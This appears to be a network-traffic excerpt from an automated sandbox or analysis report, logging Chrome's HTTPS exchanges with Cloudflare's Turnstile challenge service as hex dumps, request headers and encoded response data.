2024-11-22 21:59:44 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 50 69 6b 62 33 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.uPikb3={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fc
2024-11-22 21:59:44 UTC	1369	IN	Data Raw: 6b 5f 63 61 63 68 65 64 5f 77 61 72 6e 69 6e 67 22 3a 22 59 6f 75 72 25 32 30 64 65 76 69 63 65 25 32 30 63 6c 6f 63 6b 25 32 30 69 73 25 32 30 73 65 74 25 32 30 74 6f 25 32 30 61 25 32 30 77 72 6f 6e 67 25 32 30 74 69 6d 65 25 32 30 6f 72 25 32 30 74 68 69 73 25 32 30 63 68 61 6c 6c 65 6e 67 65 25 32 30 70 61 67 65 25 32 30 77 61 73 25 32 30 61 63 63 69 64 65 6e 74 61 6c 6c 79 25 32 30 63 61 63 68 65 64 25 32 30 62 79 25 32 30 61 6e 25 32 30 69 6e 74 65 72 6d 65 64 69 61 72 79 25 32 30 61 6e 64 25 32 30 69 73 25 32 30 6e 6f 25 32 30 6c 6f 6e 67 65 72 25 32 30 61 76 61 69 6c 61 62 6c 65 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 73 75 63 63 65 73 73 22 3a 22 53 75 63 63 65 73 73 25 32 31 22 2c 22 69 6e 76 61 6c 69 64 5f 64 6f 6d 61 69 6e 22 3a 22 49 6e 76 61 Data Ascii: k_cached_warning":"Your%20device%20clock%20is%20set%20to%20a%20wrong%20time%20or%20this%20challenge%20page%20was%20accidentally%20cached%20by%20an%20intermediary%20and%20is%20no%20longer%20available","turnstile_success":"Success%21","invalid_domain":"Inva
2024-11-22 21:59:44 UTC	1369	IN	Data Raw: 2c 66 45 2c 66 4f 2c 66 5a 2c 67 33 2c 67 61 2c 67 67 2c 67 68 2c 67 48 2c 67 65 2c 67 66 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 35 37 29 29 2f 31 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 35 32 39 29 29 2f 32 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 37 38 29 29 2f 33 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 37 34 29 29 2f 34 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 32 32 29 29 2f 35 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 39 31 31 29 29 2f 36 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 38 30 35 29 29 2f 37 2b 70 61 72 73 65 49 6e 74 28 67 49 28 Data Ascii: ,fE,fO,fZ,g3,ga,gg,gh,gH,ge,gf){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=parseInt(gI(1257))/1(-parseInt(gI(1529))/2)+parseInt(gI(1178))/3+parseInt(gI(1274))/4+parseInt(gI(1122))/5(parseInt(gI(911))/6)+-parseInt(gI(805))/7+parseInt(gI(
2024-11-22 21:59:44 UTC	1369	IN	Data Raw: 74 75 72 6e 20 68 28 69 29 7d 2c 27 65 4d 44 46 63 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 61 64 4d 4a 74 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 21 3d 69 7d 2c 27 4d 76 6c 67 4e 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 79 45 67 55 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 47 4b 67 53 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2b 69 7d 7d 2c 65 3d 53 74 72 69 6e 67 5b 67 4b 28 31 36 36 34 29 5d 2c 66 3d 7b 27 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 29 7b 72 65 74 75 72 6e 20 68 3d 3d 6e 75 6c 6c 3f 27 27 3a 66 2e 67 28 68 2c 36 2c 66 75 6e 63 74 69 Data Ascii: turn h(i)},'eMDFc':function(h,i){return i&h},'adMJt':function(h,i){return h!=i},'MvlgN':function(h,i){return h(i)},'yEgUM':function(h,i){return h(i)},'GKgSh':function(h,i){return h+i}},e=String[gK(1664)],f={'h':function(h){return h==null?'':f.g(h,6,functi
2024-11-22 21:59:44 UTC	1369	IN	Data Raw: 4d 28 31 34 34 35 29 5d 5b 67 4d 28 31 38 33 30 29 5d 28 42 2c 43 29 29 7b 69 66 28 64 5b 67 4d 28 31 34 37 35 29 5d 28 32 35 36 2c 43 5b 67 4d 28 37 38 32 29 5d 28 30 29 29 29 7b 69 66 28 67 4d 28 38 30 38 29 3d 3d 3d 67 4d 28 38 30 38 29 29 7b 66 6f 72 28 73 3d 30 3b 64 5b 67 4d 28 36 36 34 29 5d 28 73 2c 46 29 3b 48 3c 3c 3d 31 2c 64 5b 67 4d 28 31 31 31 38 29 5d 28 49 2c 64 5b 67 4d 28 31 34 32 32 29 5d 28 6a 2c 31 29 29 3f 28 49 3d 30 2c 47 5b 67 4d 28 31 30 39 38 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 73 2b 2b 29 3b 66 6f 72 28 4d 3d 43 5b 67 4d 28 37 38 32 29 5d 28 30 29 2c 73 3d 30 3b 64 5b 67 4d 28 31 38 31 39 29 5d 28 38 2c 73 29 3b 48 3d 48 3c 3c 31 2e 39 38 7c 64 5b 67 4d 28 31 38 35 34 29 5d 28 4d 2c 31 29 2c 49 3d 3d 64 5b 67 Data Ascii: M(1445)][gM(1830)](B,C)){if(d[gM(1475)](256,C[gM(782)](0))){if(gM(808)===gM(808)){for(s=0;d[gM(664)](s,F);H<<=1,d[gM(1118)](I,d[gM(1422)](j,1))?(I=0,G[gM(1098)](o(H)),H=0):I++,s++);for(M=C[gM(782)](0),s=0;d[gM(1819)](8,s);H=H<<1.98\|d[gM(1854)](M,1),I==d[g
2024-11-22 21:59:44 UTC	1369	IN	Data Raw: 29 5d 28 69 5b 67 50 28 31 30 35 31 29 5d 28 33 34 36 38 37 2c 6b 5b 33 5d 2b 44 2e 69 29 2c 31 33 36 30 35 29 2c 32 35 35 29 2c 45 2e 68 5b 46 2e 69 5e 47 2e 67 5d 29 3b 74 72 79 7b 6b 5b 67 50 28 39 33 31 29 5d 28 52 29 28 53 2e 69 29 7d 63 61 74 63 68 28 6d 29 7b 69 66 28 6b 3d 61 31 2e 68 5b 61 32 2e 67 5e 32 30 38 2e 33 31 5d 2c 69 5b 67 50 28 31 33 32 34 29 5d 28 30 2c 6b 5b 67 50 28 39 36 31 29 5d 29 29 7b 69 66 28 61 39 2e 68 5b 69 5b 67 50 28 31 35 33 35 29 5d 28 36 37 2c 61 61 2e 67 29 5d 3d 6d 2c 6c 3d 6b 5b 67 50 28 31 35 36 32 29 5d 28 29 2c 69 5b 67 50 28 31 37 39 38 29 5d 28 2d 31 2c 6c 29 29 74 68 72 6f 77 20 6d 3b 61 62 2e 68 5b 69 5b 67 50 28 31 35 33 35 29 5d 28 32 38 2c 61 63 2e 67 29 5d 3d 6b 5b 67 50 28 31 35 36 32 29 5d 28 29 2c 61 Data Ascii: )](i[gP(1051)](34687,k[3]+D.i),13605),255),E.h[F.i^G.g]);try{k[gP(931)](R)(S.i)}catch(m){if(k=a1.h[a2.g^208.31],i[gP(1324)](0,k[gP(961)])){if(a9.h[i[gP(1535)](67,aa.g)]=m,l=k[gP(1562)](),i[gP(1798)](-1,l))throw m;ab.h[i[gP(1535)](28,ac.g)]=k[gP(1562)](),a
2024-11-22 21:59:44 UTC	1369	IN	Data Raw: 28 31 36 30 36 29 5d 28 32 2c 31 36 29 2c 46 3d 31 3b 64 5b 67 52 28 31 33 31 39 29 5d 28 46 2c 4b 29 3b 4c 3d 48 26 47 2c 48 3e 3e 3d 31 2c 64 5b 67 52 28 31 31 31 38 29 5d 28 30 2c 48 29 26 26 28 48 3d 6a 2c 47 3d 64 5b 67 52 28 36 31 36 29 5d 28 6f 2c 49 2b 2b 29 29 2c 4a 7c 3d 64 5b 67 52 28 31 31 39 37 29 5d 28 30 3c 4c 3f 31 3a 30 2c 46 29 2c 46 3c 3c 3d 31 29 3b 73 5b 42 2b 2b 5d 3d 64 5b 67 52 28 31 36 37 34 29 5d 28 65 2c 4a 29 2c 4d 3d 42 2d 31 2c 78 2d 2d 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 20 44 5b 67 52 28 31 38 36 37 29 5d 28 27 27 29 7d 69 66 28 78 3d 3d 30 26 26 28 78 3d 4d 61 74 68 5b 67 52 28 31 36 30 36 29 5d 28 32 2c 43 29 2c 43 2b 2b 29 2c 73 5b 4d 5d 29 4d 3d 73 5b 4d 5d 3b 65 6c 73 65 20 69 66 28 42 3d 3d 3d Data Ascii: (1606)](2,16),F=1;d[gR(1319)](F,K);L=H&G,H>>=1,d[gR(1118)](0,H)&&(H=j,G=d[gR(616)](o,I++)),J\|=d[gR(1197)](0<L?1:0,F),F<<=1);s[B++]=d[gR(1674)](e,J),M=B-1,x--;break;case 2:return D[gR(1867)]('')}if(x==0&&(x=Math[gR(1606)](2,C),C++),s[M])M=s[M];else if(B===
2024-11-22 21:59:44 UTC	1369	IN	Data Raw: 2c 78 5b 68 39 28 39 36 31 29 5d 29 3b 44 3d 78 5b 43 5d 2c 45 3d 6f 5b 68 39 28 36 36 33 29 5d 28 65 56 2c 67 2c 68 2c 44 29 2c 42 28 45 29 3f 28 46 3d 27 73 27 3d 3d 3d 45 26 26 21 67 5b 68 39 28 31 31 36 31 29 5d 28 68 5b 44 5d 29 2c 6f 5b 68 39 28 36 35 34 29 5d 28 68 39 28 31 31 30 32 29 2c 69 2b 44 29 3f 73 28 69 2b 44 2c 45 29 3a 46 7c 7c 73 28 69 2b 44 2c 68 5b 44 5d 29 29 3a 6f 5b 68 39 28 38 39 34 29 5d 28 73 2c 69 2b 44 2c 45 29 2c 43 2b 2b 29 3b 72 65 74 75 72 6e 20 6a 3b 66 75 6e 63 74 69 6f 6e 20 73 28 47 2c 48 2c 68 38 29 7b 68 38 3d 62 2c 4f 62 6a 65 63 74 5b 68 38 28 31 30 34 33 29 5d 5b 68 38 28 31 34 34 35 29 5d 5b 68 38 28 31 38 33 30 29 5d 28 6a 2c 48 29 7c 7c 28 6a 5b 48 5d 3d 5b 5d 29 2c 6a 5b 48 5d 5b 68 38 28 31 30 39 38 29 5d 28 Data Ascii: ,x[h9(961)]);D=x[C],E=o[h9(663)](eV,g,h,D),B(E)?(F='s'===E&&!g[h9(1161)](h[D]),o[h9(654)](h9(1102),i+D)?s(i+D,E):F\|\|s(i+D,h[D])):o[h9(894)](s,i+D,E),C++);return j;function s(G,H,h8){h8=b,Object[h8(1043)][h8(1445)][h8(1830)](j,H)\|\|(j[H]=[]),j[H][h8(1098)](
2024-11-22 21:59:44 UTC	1369	IN	Data Raw: 74 75 72 6e 20 47 2b 48 7d 2c 6a 5b 68 65 28 31 35 38 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 2b 48 7d 2c 6a 5b 68 65 28 34 32 39 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 2b 48 7d 2c 6a 29 3b 74 72 79 7b 69 66 28 6c 3d 65 5a 28 67 5b 68 65 28 39 32 39 29 5d 2c 67 5b 68 65 28 31 34 37 32 29 5d 29 2c 6b 5b 68 65 28 31 35 32 30 29 5d 28 67 5b 68 65 28 39 32 39 29 5d 2c 45 72 72 6f 72 29 3f 67 5b 68 65 28 39 32 39 29 5d 3d 4a 53 4f 4e 5b 68 65 28 31 35 36 33 29 5d 28 67 5b 68 65 28 39 32 39 29 5d 2c 4f 62 6a 65 63 74 5b 68 65 28 31 34 35 35 29 5d 28 67 5b 68 65 28 39 32 39 29 5d 29 29 3a 67 5b 68 65 28 39 32 39 29 5d 3d 4a 53 4f 4e 5b 68 65 28 31 35 36 33 29 5d 28 67 5b 68 65 28 39 32 39 Data Ascii: turn G+H},j[he(1583)]=function(G,H){return G+H},j[he(429)]=function(G,H){return G+H},j);try{if(l=eZ(g[he(929)],g[he(1472)]),k[he(1520)](g[he(929)],Error)?g[he(929)]=JSON[he(1563)](g[he(929)],Object[he(1455)](g[he(929)])):g[he(929)]=JSON[he(1563)](g[he(929
2024-11-22 21:59:44 UTC	1369	IN	Data Raw: 75 72 6e 20 6e 28 6f 2c 73 29 7d 7d 2c 64 20 69 6e 73 74 61 6e 63 65 6f 66 20 45 72 72 6f 72 29 7b 69 66 28 65 5b 68 66 28 31 37 37 33 29 5d 28 68 66 28 31 37 38 33 29 2c 68 66 28 31 37 38 33 29 29 29 7b 66 6f 72 28 47 3d 48 28 74 68 69 73 29 2c 49 3d 27 27 2c 4a 3d 30 3b 4b 3c 4c 3b 4e 2b 3d 4f 5b 65 5b 68 66 28 37 39 32 29 5d 28 74 68 69 73 2e 68 5b 65 5b 68 66 28 37 39 32 29 5d 28 32 38 2c 74 68 69 73 2e 67 29 5d 5b 33 5d 2c 31 30 30 2b 74 68 69 73 2e 68 5b 65 5b 68 66 28 37 39 32 29 5d 28 32 38 2c 74 68 69 73 2e 67 29 5d 5b 31 5d 5b 68 66 28 37 38 32 29 5d 28 74 68 69 73 2e 68 5b 32 38 2e 34 38 5e 74 68 69 73 2e 67 5d 5b 30 5d 2b 2b 29 26 32 35 35 29 5e 31 32 38 5d 2c 4d 2b 2b 29 3b 66 6f 72 28 50 3d 65 5b 68 66 28 38 36 32 29 5d 28 74 68 69 73 2e 68 Data Ascii: urn n(o,s)}},d instanceof Error){if(e[hf(1773)](hf(1783),hf(1783))){for(G=H(this),I='',J=0;K<L;N+=O[e[hf(792)](this.h[e[hf(792)](28,this.g)][3],100+this.h[e[hf(792)](28,this.g)][1][hf(782)](this.h[28.48^this.g][0]++)&255)^128],M++);for(P=e[hf(862)](this.h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.16	49730	104.18.95.41	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 21:59:44 UTC	1175	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1273262173:1732310859:Nkfrpjf3B7Qam5FcOxwkEqtk2tn0lLKPVBY9riekCYU/8e6c301cb8601885/3ra4F8H660SaFV65BYrAVfweCTocJBBZ9deH6oRnN3o-1732312780-1.1.1.1-frn48HaLMsj9FtyYIdEPJ7oZzxye6DHI4z1VlNHFZEJKJOvUkdlyiEoiygAsC4OI HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3904 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 3ra4F8H660SaFV65BYrAVfweCTocJBBZ9deH6oRnN3o-1732312780-1.1.1.1-frn48HaLMsj9FtyYIdEPJ7oZzxye6DHI4z1VlNHFZEJKJOvUkdlyiEoiygAsC4OI sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/ypud6/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 21:59:44 UTC	3904	OUT	Data Raw: 76 5f 38 65 36 63 33 30 31 63 62 38 36 30 31 38 38 35 3d 71 48 50 57 51 57 63 4e 56 4a 79 36 50 30 48 34 33 63 32 6f 32 66 32 6e 57 34 54 32 48 24 43 63 79 66 24 32 33 6c 32 56 24 32 25 32 62 4b 4c 32 72 75 72 32 33 5a 78 34 79 58 32 4a 72 42 6c 5a 34 32 4c 78 32 41 34 56 59 32 55 54 79 4a 5a 76 57 61 32 32 72 32 33 48 70 32 35 57 30 4c 24 4f 64 34 56 49 6a 32 6d 4d 52 6a 56 79 39 45 44 45 32 41 70 57 24 37 45 32 4f 54 6c 37 6d 2d 32 30 78 51 4e 41 43 6e 48 6e 41 6a 32 4f 6c 65 39 36 32 41 5a 32 38 57 30 42 6b 58 6d 75 32 64 5a 32 2b 57 79 77 36 57 53 50 69 2d 4c 63 33 43 6a 4e 4b 77 78 78 36 43 2d 44 2d 4a 57 6a 73 57 56 78 37 32 79 55 32 30 5a 6f 32 50 61 79 4e 2b 54 32 24 57 32 55 36 45 33 72 24 79 56 5a 34 70 62 30 36 32 30 78 59 62 33 71 32 61 49 32 Data Ascii: v_8e6c301cb8601885=qHPWQWcNVJy6P0H43c2o2f2nW4T2H$Ccyf$23l2V$2%2bKL2rur23Zx4yX2JrBlZ42Lx2A4VY2UTyJZvWa22r23Hp25W0L$Od4VIj2mMRjVy9EDE2ApW$7E2OTl7m-20xQNACnHnAj2Ole962AZ28W0BkXmu2dZ2+Wyw6WSPi-Lc3CjNKwxx6C-D-JWjsWVx72yU20Zo2PayN+T2$W2U6E3r$yVZ4pb0620xYb3q2aI2
2024-11-22 21:59:44 UTC	714	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 21:59:44 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 80668 Connection: close cf-chl-gen: UB62UTS6n6HL10XOJsveIq3rAnYNj3mRnFfUNfDSv33ov7/F+MLPRqwWXbmXEd2QgRKtWYe9cHDukZLu85XKu4xHmdbBVyhuc52wPGxVUQ3BVSHGNisvImut4s4b7EOgFINd7xvy+4ROYgFrjHETvDuO3vl/jTLIRCFdR3b4LU/HkmAcf2cyZM10TryAmzxQVQ98BlfpV5rUHgQinw2eCkDG3G3B6A+Fz5tlpsduReiSsVzaBDhoEolH3Vfo27mbxTyxum+uYgqqHleVPOH0tXtsuY3mVAIjlXe2FMRsvNXBw8WBhvorejYlyiPUCOt+oudQ4JDgtcgQqyaa7kJxWFK7nXYxBUwaMqIj6vPXRdCyJsRSrutXKWBLHTSnPnIhg0kYBgMkzPcj0ahoA+2ZfYkDL2M21Vsc3GbW+UwoyvXoUSl0v72mx3x8wC032tE5joivr8INpFnUSpTZ$0QfhuUkEV75zHq1P Server: cloudflare CF-RAY: 8e6c30369b97423e-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 21:59:44 UTC	655	IN	Data Raw: 78 62 69 2b 74 63 48 4b 67 72 53 54 76 63 33 48 76 63 2f 46 7a 4d 79 48 69 64 7a 66 6e 6f 54 63 7a 39 58 4d 32 4f 47 5a 79 38 69 65 7a 4b 32 59 30 35 71 76 6c 65 33 67 35 74 33 70 38 71 72 63 32 62 44 64 76 71 6e 6c 71 38 43 6d 70 36 69 70 41 65 7a 2b 72 65 33 79 39 76 44 31 2b 77 48 30 2b 51 77 52 75 64 65 37 2f 52 41 47 46 51 34 48 45 52 67 59 41 64 59 46 34 37 50 4b 79 38 7a 4e 4a 52 45 6a 30 53 59 5a 49 78 6f 4a 48 53 6f 76 49 43 38 78 33 66 76 66 49 6a 51 71 4f 54 49 72 4e 54 77 38 4a 66 73 70 43 4e 66 59 37 2f 44 78 38 6a 30 37 39 66 34 33 50 45 41 36 50 30 56 4b 50 6b 4e 56 57 68 46 56 4c 6c 68 51 4d 78 77 4b 4b 43 6b 71 44 68 38 5a 45 57 33 38 2f 52 55 57 46 78 67 5a 47 68 73 63 58 47 46 6c 58 32 52 71 62 32 4e 6f 65 6e 38 6f 52 69 71 47 46 69 30 Data Ascii: xbi+tcHKgrSTvc3Hvc/FzMyHidzfnoTcz9XM2OGZy8iezK2Y05qvle3g5t3p8qrc2bDdvqnlq8Cmp6ipAez+re3y9vD1+wH0+QwRude7/RAGFQ4HERgYAdYF47PKy8zNJREj0SYZIxoJHSovIC8x3fvfIjQqOTIrNTw8JfspCNfY7/Dx8j079f43PEA6P0VKPkNVWhFVLlhQMxwKKCkqDh8ZEW38/RUWFxgZGhscXGFlX2Rqb2Noen8oRiqGFi0
2024-11-22 21:59:44 UTC	1369	IN	Data Raw: 70 6f 4b 79 31 62 5a 2b 6b 71 4b 4b 6e 72 62 4b 6d 74 37 6d 2b 65 61 57 39 77 36 61 49 66 56 78 7a 64 48 56 32 64 33 68 35 65 6e 74 38 66 58 37 4a 32 62 4f 6d 6d 35 36 46 33 64 44 57 7a 64 6e 69 6d 73 7a 52 31 63 2f 55 32 74 2f 54 35 4f 62 72 70 74 7a 44 7a 2b 58 71 34 39 4b 73 69 36 4b 6a 70 4b 57 6d 70 36 69 70 71 71 75 73 72 64 4c 54 38 65 50 4b 7a 62 51 4e 41 41 62 38 43 52 4c 4a 2b 77 45 46 2f 67 51 4b 44 77 4d 55 46 68 76 56 46 67 37 57 74 63 7a 4e 7a 73 2f 51 30 64 4c 54 31 4e 58 57 31 2f 6f 45 4e 43 76 73 39 39 34 33 4b 6a 41 6e 4d 7a 7a 7a 43 52 4a 43 4f 66 72 33 31 74 66 75 37 2f 44 78 38 76 50 30 39 66 62 33 2b 50 6b 38 51 30 68 54 45 68 6f 42 51 55 5a 4b 52 45 6c 50 56 45 68 4e 58 32 51 62 54 31 5a 62 5a 69 55 66 2f 52 55 57 46 78 67 5a 47 68 Data Ascii: poKy1bZ+kqKKnrbKmt7m+eaW9w6aIfVxzdHV2d3h5ent8fX7J2bOmm56F3dDWzdnimszR1c/U2t/T5ObrptzDz+Xq49Ksi6KjpKWmp6ipqqusrdLT8ePKzbQNAAb8CRLJ+wEF/gQKDwMUFhvVFg7WtczNzs/Q0dLT1NXW1/oENCvs9943KjAnMzzzCRJCOfr31tfu7/Dx8vP09fb3+Pk8Q0hTEhoBQUZKRElPVEhNX2QbT1ZbZiUf/RUWFxgZGh
2024-11-22 21:59:44 UTC	1369	IN	Data Raw: 6f 61 61 71 70 4b 6d 76 74 4b 69 35 75 38 42 37 6a 37 62 42 74 72 61 4b 67 46 39 32 64 33 68 35 65 6e 74 38 66 58 35 2f 67 49 48 47 71 4d 79 6d 6d 61 47 49 34 4e 50 5a 30 4e 7a 6c 6e 63 2f 55 32 4e 4c 58 33 65 4c 57 35 2b 6e 75 71 65 44 43 35 73 43 7a 72 59 79 6a 70 4b 57 6d 70 36 69 70 71 71 75 73 72 61 37 6b 39 74 50 65 34 63 6a 50 74 67 38 43 43 50 34 4c 46 4d 76 39 41 77 63 42 42 67 77 52 42 52 59 59 48 64 63 41 45 75 37 35 2f 4f 50 63 75 39 4c 54 31 4e 58 57 31 39 6a 5a 32 74 76 63 33 51 73 68 46 77 54 32 2f 65 51 39 4d 44 59 74 4f 55 4c 35 4c 44 45 31 4c 7a 51 36 50 7a 4e 45 52 6b 73 47 4a 54 73 78 48 68 45 4b 36 41 41 42 41 67 4d 45 42 51 59 48 43 41 6b 4b 43 31 6b 35 57 46 46 6a 49 53 77 54 61 31 35 6b 57 32 64 77 4b 46 70 66 59 31 31 69 61 47 31 Data Ascii: oaaqpKmvtKi5u8B7j7bBtraKgF92d3h5ent8fX5/gIHGqMymmaGI4NPZ0Nzlnc/U2NLX3eLW5+nuqeDC5sCzrYyjpKWmp6ipqqusra7k9tPe4cjPtg8CCP4LFMv9AwcBBgwRBRYYHdcAEu75/OPcu9LT1NXW19jZ2tvc3QshFwT2/eQ9MDYtOUL5LDE1LzQ6PzNERksGJTsxHhEK6AABAgMEBQYHCAkKC1k5WFFjISwTa15kW2dwKFpfY11iaG1
2024-11-22 21:59:44 UTC	1369	IN	Data Raw: 61 79 79 73 4b 64 31 72 38 48 43 72 4c 75 33 7a 4c 4a 32 74 58 6a 45 76 39 53 4b 77 4d 62 41 30 71 54 52 78 38 6d 6d 32 6f 2f 52 7a 65 4b 4c 6b 59 33 5a 31 4f 6d 39 31 2b 47 64 6e 70 61 63 6d 4b 75 76 73 64 6d 34 69 4a 2b 67 6f 61 4b 6a 70 4b 57 6d 70 36 69 70 71 67 6d 57 6c 36 36 76 73 4c 47 79 73 37 53 31 74 72 65 34 75 51 30 42 45 52 4d 52 44 73 41 45 46 78 4d 47 7a 52 6b 4e 48 64 4c 6c 74 63 7a 4e 7a 73 2f 51 30 64 4c 54 4d 72 2f 41 31 39 6a 5a 32 74 76 63 33 64 34 66 4a 43 67 69 4a 79 30 79 4a 69 73 39 51 76 67 78 50 78 55 58 47 51 6e 78 45 50 50 38 33 2f 62 33 2b 50 6e 36 2b 2f 7a 39 2f 67 41 42 41 6b 64 54 53 46 74 55 54 56 64 65 47 55 35 63 55 6d 6a 35 45 52 49 54 46 42 55 57 46 78 67 5a 47 68 73 63 49 79 51 66 5a 48 42 6c 65 48 46 71 64 48 73 32 Data Ascii: ayysKd1r8HCrLu3zLJ2tXjEv9SKwMbA0qTRx8mm2o/RzeKLkY3Z1Om91+GdnpacmKuvsdm4iJ+goaKjpKWmp6ipqgmWl66vsLGys7S1tre4uQ0BERMRDsAEFxMGzRkNHdLltczNzs/Q0dLTMr/A19jZ2tvc3d4fJCgiJy0yJis9QvgxPxUXGQnxEPP83/b3+Pn6+/z9/gABAkdTSFtUTVdeGU5cUmj5ERITFBUWFxgZGhscIyQfZHBleHFqdHs2
2024-11-22 21:59:44 UTC	1369	IN	Data Raw: 39 77 63 58 4a 7a 64 48 56 32 64 37 7a 49 76 64 44 4a 77 73 7a 54 6a 73 6e 48 78 4d 69 54 79 64 62 56 32 63 76 64 30 62 48 64 30 75 58 65 31 2b 48 6f 78 65 58 71 34 65 33 6a 36 75 71 6c 34 75 37 6a 39 75 2f 6f 38 76 6d 30 36 66 66 74 42 4c 53 34 6c 36 36 76 73 4c 47 79 73 37 53 31 74 72 65 34 75 52 49 46 43 77 49 4f 46 38 34 42 42 67 6f 45 43 51 38 55 43 42 6b 62 49 4e 72 78 47 76 67 48 41 2b 62 68 4a 69 73 63 4b 6a 49 4e 49 43 67 69 49 54 4d 76 4d 2b 6e 70 4e 7a 6b 2f 4d 79 33 76 38 76 67 76 50 44 73 2f 4d 55 4d 33 46 30 4d 34 53 30 51 39 52 30 34 72 53 31 42 48 55 30 6c 51 55 41 74 62 54 6c 52 4c 56 32 41 59 53 6b 39 54 54 56 4a 59 58 56 46 69 5a 47 6b 6b 4f 32 4e 43 55 45 77 77 4b 32 39 30 5a 58 4e 37 56 6d 6c 78 61 32 70 38 65 48 77 7a 4d 33 46 33 68 Data Ascii: 9wcXJzdHV2d7zIvdDJwszTjsnHxMiTydbV2cvd0bHd0uXe1+HoxeXq4e3j6uql4u7j9u/o8vm06fftBLS4l66vsLGys7S1tre4uRIFCwIOF84BBgoECQ8UCBkbINrxGvgHA+bhJiscKjINICgiITMvM+npNzk/My3v8vgvPDs/MUM3F0M4S0Q9R04rS1BHU0lQUAtbTlRLV2AYSk9TTVJYXVFiZGkkO2NCUEwwK290ZXN7Vmlxa2p8eHwzM3F3h
